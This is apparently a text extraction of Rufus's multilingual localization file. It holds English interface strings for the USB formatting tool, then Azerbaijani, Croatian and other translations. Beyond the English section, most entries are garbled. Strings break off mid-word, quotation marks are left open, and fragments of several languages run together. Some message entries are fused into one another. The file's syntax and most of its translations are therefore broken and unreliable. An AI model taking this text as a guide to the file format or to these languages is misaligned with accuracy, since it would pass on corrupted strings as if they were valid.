t MSG_163 "Check this box to make the USB drive bootable"
t MSG_164 "Method that will be used to make the drive bootable"
t MSG_165 "Click to select an image..."
t MSG_166 "Check this box to allow the display of international labels "
"and set a device icon (creates an autorun.inf)"
t MSG_167 "Install an MBR that allows boot selection and can masquerade the BIOS USB drive ID"
t MSG_168 "Try to masquerade first bootable USB drive (usually 0x80) as a different disk.\n"
"This should only be necessary if you install Windows XP and have more than one disk"
t MSG_169 "Create an extra hidden partition and try to align partitions boundaries.\n"
t MSG_170 "Enable the listing of USB Hard Drive enclosures. USE AT YOUR OWN RISKS!!!"
t MSG_171 "Start the formatting operation.\nThis will DESTROY any data on the target!"
t MSG_172 "Licensing information and credits"
t MSG_173 "Click to select..."
t MSG_174 "Rufus - The Reliable USB Formatting Utility"
t MSG_175 "Version %d.%d (Build %d)"
t MSG_176 "mailto:pete@akeo.ie"
t MSG_177 "Report bugs or request enhancements at:"
t MSG_178 "Additional Copyrights:"
t MSG_179 "Update Policy:"
t MSG_180 "If you choose to allow this program to check for application updates, "
t MSG_181 "Your operating system's architecture and version"
t MSG_182 "The version of the application you use"
t MSG_183 "Your IP address"
t MSG_184 "For the purpose of generating private usage statistics, we may keep the information collected, "
t MSG_185 "Update Process:"
t MSG_186 "Rufus does not install or run background services, therefore update checks are performed only when the main application is running.\\line\n"
t MSG_187 "Invalid image for selected boot option"
t MSG_188 "The current image doesn't match the boot option selected. Please use a different image or choose a different boot option."
t MSG_189 "This ISO image is not compatible with the selected filesystem"
t MSG_190 "Incompatible drive detected"
t MSG_191 "Write pass"
t MSG_192 "Read pass"
t MSG_193 "Downloaded %s"
t MSG_194 "Could not download %s"
t MSG_195 "Using embedded version of %s file(s)"
t MSG_196 "IMPORTANT: THIS DRIVE USES A NONSTANDARD SECTOR SIZE!\n\n"
"Conventional drives use a 512-byte sector size but this drive uses a %d-byte one. "
t MSG_197 "Nonstandard sector size detected"
t MSG_198 "'Windows To Go' can only be installed on a GPT partitioned drive if it has "
t MSG_199 "Choose this if you plan to install Windows, to another disk, using the selected device as installation media."
t MSG_200 "Choose this if you want to run Windows directly from the selected device."
t MSG_201 "Cancelling - Please wait..."
t MSG_202 "Scanning image..."
t MSG_203 "Failed to scan image"
t MSG_204 "Obsolete %s detected"
t MSG_205 "Using image: %s"
t MSG_206 "Missing %s file"
t MSG_207 "New Volume"
t MSG_208 "%d device found"
t MSG_209 "%d devices found"
t MSG_210 "READY"
t MSG_211 "Cancelled"
t MSG_212 "Failed"
t MSG_213 "Launching new application..."
t MSG_214 "Failed to launch new application"
t MSG_215 "Opened %s"
t MSG_216 "Saved %s"
t MSG_217 "Formatting: %0.1f%% completed"
t MSG_218 "Creating file system: Task %d/%d completed"
t MSG_219 "NTFS Fixup: %d%% completed"
t MSG_220 "Formatting (%s) - estimated duration %d:d..."
t MSG_221 "Setting Label (This may take while)..."
t MSG_222 "Formatting (%s)..."
t MSG_223 "NTFS Fixup (Checkdisk)..."
t MSG_224 "Clearing MBR/PBR/GPT structures..."
t MSG_225 "Requesting disk access..."
t MSG_226 "Analyzing existing boot records..."
t MSG_227 "Closing existing volume..."
t MSG_228 "Writing master boot record..."
t MSG_229 "Writing partition boot record..."
t MSG_230 "Copying DOS files..."
t MSG_231 "Copying ISO files..."
t MSG_232 "Win7 EFI boot setup (this may take a while)..."
t MSG_233 "Finalizing, please wait..."
t MSG_234 "Installing Syslinux %s..."
t MSG_235 "Bad Blocks: %s %d/%d - %0.2f%% (%d/%d/%d errors)"
t MSG_236 "Bad Blocks: Testing with random pattern"
t MSG_237 "Bad Blocks: Testing with pattern 0xX"
t MSG_238 "Partitioning (%s)..."
t MSG_239 "Deleting partitions..."
t MSG_240 "Downloading %s: Connecting..."
t MSG_241 "Downloading: %0.1f%%"
t MSG_242 "Failed to download file."
t MSG_243 "Checking for Rufus updates..."
t MSG_244 "Updates: Unable to connect to the internet"
t MSG_245 "Updates: Unable to access version data"
t MSG_246 "A new version of Rufus is available!"
t MSG_247 "No new version of Rufus was found"
t MSG_248 "Application registry keys successfully deleted"
t MSG_249 "Failed to delete application registry keys"
t MSG_250 "%s enabled"
t MSG_251 "%s disabled"
t MSG_252 "Size checks"
t MSG_253 "Hard disk detection"
t MSG_254 "Force large FAT32 formatting"
t MSG_255 "NoDriveTypeAutorun will be deleted on exit"
t MSG_256 "Fake drive detection"
t MSG_257 "Joliet support"
t MSG_258 "Rock Ridge support"
t MSG_259 "Force update"
t MSG_260 "NTFS compression"
t MSG_261 "Writing image: %0.1f%% completed"
t MSG_262 "ISO Support"
t MSG_263 "Use PROPER size units"
t MSG_264 "Deleting directory '%s'"
t MSG_265 "VMWare disk detection"
t MSG_266 "Dual UEFI/BIOS mode"
t MSG_267 "Applying Windows image: %0.1f%% completed"
t MSG_268 "Applying Windows image..."
t MSG_269 "Preserve timestamps"
t MSG_270 "USB debug"
t MSG_271 "Computing image checksums: %0.1f%% completed"
t MSG_272 "Compute the MD5, SHA1 and SHA256 checksums for the selected image"
t MSG_273 "Change the application language"
t MSG_274 "ISOHybrid image detected"
t MSG_275 "The image you have selected is an 'ISOHybrid' image. This means it can be written either in "
"%s (file copy) mode or %s (disk image) mode.\n"
"Rufus recommends using %s mode, so that you always have full access to the drive after writing it.\n"
"However, if you encounter issues during boot, you can try writing this image again in %s mode.\n\n"
t MSG_276 "Write in %s mode (Recommended)"
t MSG_277 "Write in %s mode"
t MSG_278 "Boot type"
t MSG_279 "Non bootable"
t MSG_280 "Image selection"
t MSG_281 "(Please select an image)"
t MSG_282 "Exclusive USB drive locking"
t MSG_283 "Invalid signature"
t MSG_284 "The downloaded executable is missing a digital signature."
t MSG_285 "The downloaded executable is signed by '%s'.\nThis is not a signature we recognize and could "
t MSG_286 "Zeroing drive: %0.1f%% completed"
v 1.0.18
t IDC_WINDOWS_INSTALL "
t IDC_WINDOWS_TO_GO "Windows To Go (
t IDC_WEBSITE "
t MSG_001 "
t MSG_002 "
t MSG_003 "
'%s'.\n"
t MSG_004 "
t MSG_005 "
t MSG_006 "
t MSG_007 "
t MSG_008 "
t MSG_009 "
t MSG_010 "
t MSG_011 "
\n %d
t MSG_012 "%s\n
:\n%s"
t MSG_013 "
t MSG_014 "
t MSG_015 "
t MSG_016 "
t MSG_017 "
t MSG_018 "
: %d.%d (Build %d)"
t MSG_019 "
t MSG_020 "
t MSG_026 "
t MSG_027 "
t MSG_028 "
t MSG_029 "
t MSG_030 "%s (
t MSG_031 "%s
t MSG_032 "%s
t MSG_033 "%s
t MSG_034 "%d
t MSG_035 "%d
t MSG_036 "ISO
t MSG_037 "
t MSG_038 "
t MSG_039 "
t MSG_040 "
t MSG_041 "
t MSG_042 "
t MSG_043 "
: %s"
t MSG_044 "
t MSG_045 "
t MSG_046 "%s (
%d) [%s]"
t MSG_047 "
t MSG_048 "
t MSG_049 "
t MSG_050 "
t MSG_051 "
t MSG_052 "
t MSG_053 "
t MSG_054 "
t MSG_055 "
t MSG_056 "
t MSG_057 "
t MSG_058 "
t MSG_059 "
t MSG_060 "
t MSG_061 "
t MSG_062 "
t MSG_063 "
t MSG_064 "
t MSG_065 "
t MSG_066 "
t MSG_067 "
t MSG_068 "
t MSG_069 "
t MSG_070 "
t MSG_071 "
t MSG_072 "
t MSG_073 "
t MSG_074 "
t MSG_075 "
t MSG_076 "
t MSG_077 "
t MSG_078 "
t MSG_079 "
t MSG_080 "
t MSG_081 "
t MSG_082 "
t MSG_083 "
t MSG_084 "
'%s'. \n"
t MSG_085 "
t MSG_086 "
t MSG_087 "
t MSG_088 "
t MSG_089 "
t MSG_090 "ISO
t MSG_091 "
t MSG_092 "
t MSG_093 "
t MSG_094 "
t MSG_095 "DD
t MSG_096 "
t MSG_097 "'%s'
t MSG_098 "
'Windows To Go'
t MSG_099 "
t MSG_100 "
t MSG_101 "
t MSG_102 "
t MSG_103 "
t MSG_104 "%s
ISO %s, "
t MSG_105 "
t MSG_106 "
t MSG_107 "
t MSG_108 "
t MSG_109 "
0xX
t MSG_110 "MS-DOS
t MSG_111 "
t MSG_112 "
: %d:d,
t MSG_113 "
t MSG_114 "
Syslinux %s%s
"Syslinux %s%s. \n\n
('ldlinux.sys''ldlinux.bss'):\n"
t MSG_115 "
t MSG_116 "
Grub %s
"Grub %s.\n\n
"('core.img')t MSG_150 "
t MSG_151 "
t MSG_152 "
t MSG_153 "
: 0xX"
t MSG_154 "
: 0xX, 0xX"
t MSG_155 "
: 0xX, 0xX, 0xX"
t MSG_156 "
: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "
t MSG_158 "
t MSG_159 "
t MSG_160 "
t MSG_161 "
t MSG_162 "
t MSG_163 "
t MSG_164 "
t MSG_165 "
t MSG_166 "
autorun.inf)"
t MSG_167 "
t MSG_168 "
t MSG_169 "
t MSG_170 "
t MSG_171 "
t MSG_172 "
t MSG_173 "
t MSG_174 "
t MSG_175 "
%d.%d (
t MSG_176 "
(mailto:ch_djalel@yahoo.com)"
t MSG_177 "
t MSG_178 "
t MSG_179 "
t MSG_180 "
t MSG_181 "
t MSG_182 "
t MSG_183 "
t MSG_184 "
t MSG_185 "
t MSG_186 "
t MSG_187 "
t MSG_188 "
t MSG_189 "
t MSG_190 "
t MSG_191 "
t MSG_192 "
t MSG_193 "
t MSG_194 "
t MSG_195 "
) %s"
t MSG_196 "
t MSG_197 "
t MSG_198 "
'Windows To Go'
t MSG_199 "
t MSG_201 "
t MSG_202 "
t MSG_203 "
t MSG_204 "
t MSG_205 "
ISO: %s"
t MSG_206 "
t MSG_207 "
t MSG_208 "
t MSG_209 "
t MSG_210 "
t MSG_211 "
t MSG_212 "
t MSG_213 "
t MSG_214 "
t MSG_215 "
t MSG_216 "
t MSG_217 "
t MSG_218 "
%d/%d
t MSG_219 "
%d%%"
t MSG_220 "
%d:d..."
t MSG_221 "
t MSG_222 "
(%s)..."
t MSG_223 "
t MSG_224 "
t MSG_225 "
t MSG_226 "
t MSG_227 "
t MSG_228 "
t MSG_229 "
t MSG_230 "
t MSG_231 "
t MSG_232 "
t MSG_233 "
t MSG_234 "
Syslinux %s..."
t MSG_235 "
%d/%d - %0.2f%% (%d/%d/%d
t MSG_236 "
t MSG_237 "
0xX"
t MSG_238 "
t MSG_239 "
t MSG_240 "
t MSG_241 "
t MSG_242 "
t MSG_243 "
t MSG_244 "
t MSG_245 "
t MSG_246 "
t MSG_247 "
t MSG_248 "
t MSG_249 "
t MSG_250 "
t MSG_251 "
t MSG_252 "
t MSG_253 "
t MSG_254 "
t MSG_255 "
t MSG_256 "
t MSG_257 "
t MSG_258 "
t MSG_259 "
t MSG_260 "
t MSG_261 "
t MSG_262 "
t MSG_263 "
t MSG_264 "
'%s'"
t MSG_265 "
t MSG_266 "
t MSG_267 "
t MSG_268 "
t MSG_269 "
t MSG_270 "
t MSG_271 "
t MSG_272 "
t MSG_273 "
t MSG_274 "
t MSG_275 "
%s.\n (
%s.\n\n"
t MSG_276 "
t MSG_277 "
t MSG_278 "
t MSG_279 "
t MSG_280 "
t MSG_281 "(
m IDC_NBPASSES 30,0
s IDC_NBPASSES -25,0
t IDC_WINDOWS_INSTALL "Standart Windows Y
t IDC_WEBSITE "Veb sayt
t MSG_001 "Rufus'un art
t MSG_002 "Ba
t MSG_003 "X
RDARLIQ: '%s' C
t MSG_004 "Rufus yenil
t MSG_005 "Rufus'un proqram
t MSG_006 "Ba
t MSG_008 "B
t MSG_009 "Xeyr"
t MSG_010 "S
t MSG_011 "Yoxlama Bitdi: %d s
" %d oxuma s
hvi\n %d yazma s
hvi\n %d s
t MSG_012 "%s\nDaha
hesabat burada:\n%s"
t MSG_013 "Oflayn"
t MSG_014 "G
t MSG_015 "H
t MSG_016 "Ayl
t MSG_017 "X
t MSG_018 "M
vcud Versiya: %d.%d (Edil
n %d)"
n son versiya: %d.%d (Edil
t MSG_020 "byte"
t MSG_026 "byte"
t MSG_027 "kilobyte"
t MSG_028 "megabyte"
t MSG_029 "F
t MSG_030 "%s (F
t MSG_031 "%s Hiss
idi: BIOS ya da %s
t MSG_032 "BIOS
n %s Hiss
t MSG_033 "UEFI
t MSG_034 "%d Ke
t MSG_035 "%d Ke
t MSG_037 "Proqram"
t MSG_039 "Ba
t MSG_040 "Y
t MSG_042 "S
t MSG_043 "S
hv: %s"
t MSG_044 "Fayl y
t MSG_045 "USB Y
t MSG_048 "Rufus - Tamamlan
t MSG_049 "Rufus -
t MSG_050 "U
urlu oldu."
t MSG_051 "Formatlayark
t MSG_052 "Se
t MSG_053 "Cihaza giri
t MSG_054 "Media yazma qorumal
t MSG_055 "Cihaz ba
t MSG_056 "Bu cihaz
t MSG_057 "T
t MSG_058 "Cihaz izahat
t MSG_059 "Se
t MSG_060 "T
t MSG_061 "L
t MSG_062 "D
t MSG_063 "Yadda
t MSG_064 "Oxuma S
t MSG_065 "Yazma S
t MSG_066 "Y
t MSG_067 "Media a
t MSG_068 "S
t MSG_069 "Fayllar h
t MSG_072 "S
t MSG_073 "ISO fayl
t MSG_074 "ISO fayl
t MSG_076 "A
t MSG_077 "S
t MSG_078 "GUID yerl
t MSG_079 "Cihaz haz
t MSG_080 "Rufus Windows'un USB cihaz
n Windows'un i
t MSG_081 "D
t MSG_082 "Bu fayl ya
t MSG_083 "%s yeri d
t MSG_084 "Bu ISO fayl
'%s'in k
"'%s' Orda m
t MSG_085 "%s y
t MSG_086 "Fayl se
t MSG_087 "L
t MSG_088 "Fayl
t MSG_089 "Fayl se
t MSG_090 "D
t MSG_091 "EFI H
t MSG_092 "D
t MSG_093 "M
lanmayan ya da Windows'un g
t MSG_095 "DD Fayl
t MSG_096 "M
t MSG_097 "'%s' sad
t MSG_098 "M
M: 'Windows To Go' y
Windows,
t MSG_099 "Fayl Sistemi M
t MSG_100 "Bu ISO fayl
t MSG_102 "Platforman
r Windows 7 v
Windows Vista USB s
t MSG_103 "%s y
t MSG_104 "%s ya da daha yuxar
n '%s' fayl
%s ISO fayllar
r:\n"
"'%s' Orda m
t MSG_106 "L
t MSG_107 "B
t MSG_108 "Rufus g
t MSG_110 "MS-DOS, 64 kilobyte Ay
t MSG_111 "Uy
t MSG_112 "Geni
%d:d,
t MSG_113 "Geni
t MSG_114 "Bu variant Syslinux %s%s istifad
z Syslinux %s%s
n('ldlinux.sys' v'ldlinux.bss') internet
t MSG_115 "Y
t MSG_116 "Bu variant Grub %s istifad
z Grub %s
"('core.img') etmt MSG_150 "Ad
t MSG_151 "Bir
Windows XP d
t MSG_152 "Bir
Windows XP
t MSG_153 "Q
libi Yoxla: 0xX"
t MSG_154 "Q
libi Yoxla: 0xX, 0xX"
t MSG_155 "Q
libi Yoxla: 0xX, 0xX, 0xX"
t MSG_156 "Q
libi Yoxla: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "H
t MSG_158 "Fayl sistemind
t MSG_159 "Bu sah
t MSG_161 "Q
t MSG_162 "\"Yava
t MSG_163 "A
t MSG_164 "S
t MSG_166 "Beyn
n edin (autorun.inf yarad
t MSG_167 "A
z Windows XP y
t MSG_169 "Qeyri-adi gizli bir hiss
t MSG_170 "USB sabit s
t MSG_171 "Formatlama prosesini ba
t MSG_172 "Lisenziya m
t MSG_173 "Se
t MSG_174 "Rufus - Etibarl
t MSG_175 "Versiya %d.%d (Qurulu
t MSG_176 "Az
likov <mailto:elvin_melikov@mail.ru>"
t MSG_177 "S
t MSG_179 "Yenil
t MSG_180 "Proqrama yenil
t MSG_183 "IP Adresiniz"
t MSG_184 "X
t MSG_185 "Yenil
t MSG_186 "Yenil
t MSG_187 "Se
t MSG_188 "M
t MSG_189 "Bu ISO
t MSG_190 "Uy
t MSG_191 "Yazma ke
t MSG_192 "Oxuma ke
t MSG_193 "%s y
t MSG_194 "%s y
t MSG_195 "%s fayllar
t MSG_196 "M
%d-byte istifad
t MSG_197 "Standart olmayan sektor
t MSG_198 "'Windows To Go', SAB
t MSG_199 "Windows'u ba
t MSG_200 "Windows'u birba
t MSG_202 "Fayl Axtar
t MSG_203 "Fayl axtar
t MSG_204 "K
%s tap
n Fayl: %s"
t MSG_206 "K
%s fayl
t MSG_207 "Yeni
t MSG_208 "%d cihaz tap
t MSG_209 "%d cihaz tap
t MSG_210 "HAZIRDIR"
t MSG_211 "L
t MSG_212 "U
t MSG_213 "Yeni proqram a
t MSG_214 "Yeni proqram ba
t MSG_215 "%s A
t MSG_216 "%s Yadda
t MSG_217 "Formatlan
t MSG_218 "Fayl sistemi yarad
liyyat %d/%d tamamland
t MSG_219 "NTFS D
: %d%% tamamland
t MSG_220 "Formatlan
r (%s) - T
xmini Vaxt %d:d..."
t MSG_221 "Etiket T
t MSG_222 "Formatlan
r (%s)..."
t MSG_223 "NTFS D
t MSG_224 "MBR/PBR/GPT qurulu
t MSG_225 "Disk
t MSG_226 "Olan a
t MSG_227 "Olanlar ba
t MSG_228 "MBR Yaz
t MSG_229 "PBR Yaz
t MSG_230 "DOS Fayllar
t MSG_231 "ISO Fayllar
t MSG_232 "Win7 EFI A
t MSG_233 "Bitirilir, L
t MSG_234 "Syslinux %s Y
t MSG_235 "S
hvli Bloklar: %s %d/%d - %0.2f%% (%d/%d/%d s
t MSG_236 "S
t MSG_237 "S
hvli Bloklar: 0xX q
t MSG_238 "Hiss
nir (%s)..."
t MSG_239 "Hiss
t MSG_240 "%s Y
t MSG_241 "Y
t MSG_242 "Fayl y
t MSG_243 "Rufus yenil
t MSG_244 "Yenil
t MSG_245 "Yenil
t MSG_246 "Rufus'un yeni versiyas
t MSG_247 "Rufus'un yeni versiyas
t MSG_248 "Proqram
t MSG_249 "Proqram
t MSG_250 "%s aktiv"
t MSG_251 "%s s
t MSG_253 "Sabit Disk Tap
t MSG_254 "Geni
t MSG_255 "NoDriveTypeAutorun
t MSG_256 "Saxta s
t MSG_257 "Joliet d
t MSG_258 "Rock Ridge d
t MSG_259 "M
t MSG_260 "NTFS s
t MSG_261 "Fayl yaz
t MSG_262 "ISO D
t MSG_263 "UY
t MSG_264 "'%s' silinir"
t MSG_265 "VMWare disk tapma"
t MSG_266 "C
t MSG_267 "Windows fayl
t MSG_268 "Windows fayl
t MSG_269 "Zaman gedi
t MSG_270 "USB S
t MSG_271 "Fayl t
t MSG_272 "Se
t MSG_273 "Proqram dilini d
t MSG_274 "ISOHybrid fayl
t MSG_275 "Se
n ya %s (fayl kopyalama) rejimind
"ya da %s (disk fayl
"Rufus %s rejiminin istifad
%s rejimind
t MSG_276 "%s rejimind
t MSG_277 "%s rejimind
t MSG_280 "Fayl se
t MSG_281 "(L
t MSG_282 "X
t MSG_283 "Ke
t MSG_284 "Y
t MSG_285 "Y
n fayl '%s' t
m IDC_NBPASSES 15,0
Windows
t IDC_WINDOWS_TO_GO "Windows To Go (Windows
t MSG_004 "Rufus
t MSG_012 "%s\nA
t MSG_045 "USB
t MSG_048 "Rufus -
t MSG_078 "GUID
t MSG_080 "Rufus
"'%s',
t MSG_090 "
Windows. "
'Windows To Go',
Windows 7
Windows Vista USB
%s ISO
"'%s'
t MSG_108 "Rufus
t MSG_109 "0xX (
%d:d,
"Syslinux %s%s.\n\n
('ldlinux.sys'GRUB %s
GRUB %s."
.Rufus
Windows XP"
t MSG_174 "Rufus -
%d.%d (Build %d)"
: Krasimir Nevenov <mailto:berzabel@yahoo.com>"
t MSG_186 "Rufus
t MSG_198 "'Windows To Go'
t MSG_200 "
t MSG_219 "NTFS
: %d%%
(%s) -
t MSG_223 "NTFS
t MSG_232 "Win7 EFI
: %s %d/%d - %0.2f%% (%d/%d/%d
) (%s)..."
t MSG_250 "%s
t MSG_251 "%s
t MSG_257 "Joliet
t MSG_258 "Rock Ridge
t MSG_260 "NTFS
t MSG_262 "ISO
t MSG_266 "Dual UEFI/BIOS
"%s (file copy)
%s (disk image)
t MSG_282 "
t MSG_283 "
t MSG_284 "
t MSG_285 "
'%s'.\n
t IDC_WINDOWS_TO_GO "Windows To Go"
\n%s"
%d.%d (Build %d)"
t MSG_020 "B"
t MSG_027 "K
t MSG_028 "M
t MSG_031 "
t MSG_032 "
t MSG_033 "
t MSG_073 "ISO
t MSG_074 "ISO
Windows
%d:d
Syslinux %s%s
('core.img'):\n"0xX"
0xX, 0xX"
0xX, 0xX, 0xX"
0xX, 0xX, 0xX, 0xX"
- %0.2f%% (%d/%d/%d
0xX
t MSG_265 "VMWare
t MSG_270 "USB
"%s (
m IDC_NBPASSES -5,0
s IDC_NBPASSES 5,0
: '%s'\n"
t MSG_032 "%s BIOS
t MSG_033 "%s UEFI
! 'Windows To Go'
'%s'\n"
: %d:d"
"'ldlinux.sys'
'ldlinux.bss'\n"
Grub %s
"'core.img'\n"
<mailto:mmmeow@gmail.com>\\line Chocobo1 <hXXps://github.com/Chocobo1>"
t MSG_177 "Bug
%d-byte
Windows
: %d/%d"
: %d%%"
: %d:d..."
t MSG_234 "Syslinux %s
(0xX
t MSG_248 "Rufus
t MSG_249 "Rufus
: '%s'.\n
t IDC_WEBSITE "Kliknite ovdje za pristup web-stranici"
t MSG_001 "Drugi primjerak otkriven"
t MSG_002 "Druga Rufus aplikacija radi.\n"
t MSG_003 "UPOZORENJE: Ovaj postupak bri
t MSG_004 "Politika Rufus a
t MSG_005 "Dopusti Rufusu da tra
t MSG_006 "Zatvori"
t MSG_007 "Odustani"
t MSG_008 "Da"
t MSG_009 "Ne"
t MSG_010 "Prona
t MSG_011 "Provjera gotova: %d lo
" %d gre
itanja\n %d gre
ka pisanja\n %d korupcija\n"
t MSG_012 "%s\nDetaljno izvje
e se nalazi u:\n%s"
t MSG_013 "Onemogu
t MSG_014 "Dnevno"
t MSG_015 "Tjedno"
t MSG_016 "Mjese
t MSG_017 "Prilago
t MSG_018 "Verzija: %d.%d (Build %d)"
t MSG_019 "Zadnja verzija: %d.%d (Build %d)"
t MSG_020 "bajta"
t MSG_026 "bajta"
t MSG_027 "kilobajta"
t MSG_028 "megabajta"
t MSG_029 "Zadano"
t MSG_030 "%s (Zadano)"
t MSG_031 "%s shema particije za BIOS ili %s"
t MSG_032 "%s shema particije za BIOS"
t MSG_033 "%s shema particije za UEFI"
t MSG_034 "%d prolaz"
t MSG_035 "%d prolaza"
t MSG_036 "ISO slike"
t MSG_037 "Aplikacija"
t MSG_038 "Prekini"
t MSG_039 "Pokreni"
t MSG_040 "Preuzmi"
t MSG_041 "Operacija prekinuta od korisnika"
t MSG_042 "Gre
t MSG_043 "Gre
ka: %s"
t MSG_044 "Preuzimanje datoteka"
t MSG_045 "USB ure
t MSG_046 "%s (disk %d) [%s]"
t MSG_047 "Vi
t MSG_048 "Rufus - Ispiranje buffera"
t MSG_049 "Rufus - Otkazivanje"
t MSG_050 "Uspijeh."
t MSG_051 "Neutvr
t MSG_052 "Nemogu koristiti odabrani sustav datoteka za ovaj medij."
t MSG_053 "Odbijen pristup ure
t MSG_054 "Ure
t MSG_055 "Ure
t MSG_056 "Brzo formatiranje je nedostupno za ovaj ure
t MSG_057 "Nepodr
t MSG_059 "Odabrana veli
t MSG_060 "Neto
t MSG_061 "Stavite uklonjivi medij u pogon."
t MSG_062 "Primljena je nepoznata komanda."
t MSG_063 "Gre
t MSG_064 "Gre
t MSG_065 "Gre
t MSG_066 "Neuspjela instalacija"
t MSG_067 "Nemogu otvoriti medij. Mo
t MSG_068 "Gre
t MSG_069 "Datoteke se ne mogu kopirati na odabrani pogon"
t MSG_070 "Otkazao korisnik."
t MSG_071 "Ne mogu zapo
t MSG_072 "Nije zavr
t MSG_073 "Neuspjelo skeniranje ISO slike."
t MSG_074 "Neuspjelo izvla
t MSG_075 "Ne mogu remontirati ure
t MSG_076 "Ne mogu zakrpati/postaviti datoteke za bootanje."
t MSG_077 "Ne mogu dodijeliti slovo jedinici."
t MSG_078 "Ne mogu montirati GUID jedinicu."
t MSG_079 "Ure
t MSG_080 "Rufus je otkrio da Windows jo
aja, ova operacija bi mogla potrajati, "
amo da dopustite Windowsima da zavr
t MSG_081 "Nepodr
t MSG_082 "Ova slika nije podr
t MSG_083 "Zamijeni %s?"
t MSG_084 "Ova ISO slika koristi staru verziju '%s'.\n"
t MSG_085 "Preuzimam %s"
t MSG_086 "Nema odabira"
t MSG_087 "Pritisnite na ikonu diska za odabir datoteke."
t MSG_088 "Slika je prevelika"
t MSG_089 "Ime mora biti manje za odabranu metu."
t MSG_090 "Nepodr
t MSG_091 "Dok koristite UEFI Target Type, samo EFI bootable ISO slike su podr
t MSG_092 "Nepodr
t MSG_093 "VA
da nisu vidljive Windowsima. "
t MSG_094 "Otkrivene vi
t MSG_095 "DD slike"
t MSG_096 "Sustav dat. trenutno odabran ne mo
t MSG_097 "'%s' se samo mo
t MSG_098 "VA
elite instalirati 'Windows To Go', ali va
"ima 'FIXED' atribut. Zbog ovoga Windows
to Microsoft nije dizajnirao Windows To Go za ure
t MSG_099 "Ograni
t MSG_100 "Ova ISO slika sadr
t MSG_101 "Nedostaje WIM podr
t MSG_102 "Va
"je potrebno da se naprave EFI bootable Windows 7 i Windows Vista USB pogoni. Preuzmite najnoviju "
t MSG_103 "Preuzmi %s?"
t MSG_104 "%s ili noviji zahtijeva '%s' za instalaciju.\n"
a od 100 KB, i uvijek prisutna na %s ISO slikama, "
"'%s' postoji tamo, automatski
t MSG_105 "Prekidanje mo
t MSG_106 "Molimo odaberite mapu"
t MSG_107 "Sve datoteke"
t MSG_108 "Rufus zapisnik"
t MSG_110 "MS-DOS ne mo
t MSG_111 "Nekompatibilna veli
t MSG_112 "Formatiranje velike UDF jedinice mo
" %d:d "
t MSG_113 "Velika UDF jedinica"
t MSG_114 "Ova slika koristi Syslinux %s%s ali ova aplikacija samo uklju
"Syslinux %s%s.\n\nPo
"('ldlinux.sys' i 'ldlinux.bss')\n"t MSG_115 "Potrebno preuzimanje"
t MSG_116 "Ova slika koristi Grub %s ali aplikacija samo sadr
"Grub %s.\n\nPo
"instalacijske datoteke ('core.img') koja odgovara onoj iz vat MSG_150 "Naj
t MSG_151 "Odaberite ovo ako
aju sa Windows XP"
t MSG_152 "Preferirana opcija za inst. OS-a u EFI na
"USB pristup nije potreban za Windows XP"
t MSG_153 "Test uzorak: 0xX"
t MSG_154 "Test uzorak: 0xX, 0xX"
t MSG_155 "Test uzorak: 0xX, 0xX, 0xX"
t MSG_156 "Test uzorak: 0xX, 0xX, 0xX, 0xX"
t MSG_157 "Postavi sustav datoteka"
t MSG_158 "Min. veli
t MSG_159 "Ovdje unesite naziv za jedinicu"
t MSG_160 "Otvori napredne postavke"
t MSG_161 "Provjeri prisutnost lo
t MSG_162 "Ostavite prazno za \"sporu\" metodu formatiranja"
t MSG_163 "Odaberite ovo da USB bude 'bootable'"
t MSG_164 "Metoda s kojom
t MSG_165 "Kliknite za odabir datoteke"
t MSG_166 "Potvrdite ovo da dozvolite prikaz internacijonalnih oznaka "
"i napravite ikonu (stvara autorun.inf)"
t MSG_167 "Instaliraj MBR koji omogu
t MSG_168 "Maskiraj prvi bootable USB pogon (uobi
"Ovo je potrebno ako instalirate Windows XP i imate vi
t MSG_169 "Stvori extra skrivenu particiju i poku
t MSG_170 "Otkrivanje USB hard diskova. Koristiti na vlastitu odgovornost!"
t MSG_171 "Zapo
t MSG_172 "Info licenciranja i zahvale"
t MSG_173 "Klikni za odabir..."
t MSG_175 "Verzija %d.%d (Build %d)"
t MSG_176 "Preveo: Dario Komar <mailto:dkmr_main@hotmail.com>"
t MSG_177 "Prijavite gre
t MSG_178 "Dodatna autorska prava:"
t MSG_179 "Politika a
t MSG_180 "Ako
t MSG_181 "Arhitektura va
t MSG_182 "Verzija Rufusa koju koristite"
t MSG_183 "Va
t MSG_184 "Zbog statistika, navedene informacije mo
t MSG_185 "Proces a
t MSG_186 "Rufus nema pozadinskih program
t MSG_187 "Kriva slika za odabrano bootanje"
t MSG_188 "Trenutna slika se ne podudara s odabranim boot opcijama. Odaberite drugu sliku ili boot opciju."
t MSG_189 "Ova ISO slika nije kompatibilna s odabranim sustavom dat."
t MSG_190 "Prona
t MSG_191 "Pi
t MSG_193 "Preuzeto %s"
t MSG_194 "Ne mogu preuzeti %s"
t MSG_195 "Kori
enih verzija od %s datoteka"
t MSG_196 "VA
inu sektora od 512 bajta ali ovaj koristi od %d. "
t MSG_197 "Nestandardna veli
t MSG_198 "'Windows To Go' se samo mo
t MSG_199 "Odaberite ovo ako planirate instalirati Windows na drugi disk s odabranim ure
t MSG_200 "Odaberite ovo ako planirate pokretati Windows direktno s odabranog ure
t MSG_201 "Otkazujem - Pri
t MSG_202 "Skeniram sliku..."
t MSG_203 "Neuspijelo skeniranje"
t MSG_204 "Stari %s otkriven"
t MSG_205 "Koristim sliku: %s"
t MSG_206 "Nedostaje %s"
t MSG_207 "Novi medij"
t MSG_208 "%d ure
t MSG_209 "%d ure
t MSG_210 "Spremno"
t MSG_211 "Otkazano"
t MSG_212 "NEUSPJE
t MSG_213 "Pokretanje nove aplikacije..."
t MSG_214 "Gre
t MSG_215 "Otvoreno %s"
t MSG_216 "Spremljeno %s"
t MSG_217 "Formatiranje: %0.1f%% zavr
t MSG_218 "Stvaram sustav datoteka: %d/%d zavr
t MSG_219 "NTFS Fixup: %d%% zavr
t MSG_220 "Formatiranje(%s) - Procjena %d:d..."
t MSG_221 "Postavljanje jedinice..."
t MSG_222 "Formatiram (%s)..."
t MSG_225 "Zahtijevam pristup disku..."
t MSG_226 "Analiziram postoje
t MSG_227 "Zatvaram postoje
t MSG_228 "Zapisujem master boot record..."
t MSG_229 "Zapisujem partition boot record..."
t MSG_230 "Kopiram DOS datoteke..."
t MSG_231 "Kopiram ISO datoteku..."
t MSG_232 "Win7 EFI boot setup..."
t MSG_233 "Zavr
t MSG_234 "Instaliram Syslinux %s..."
t MSG_235 "Lo
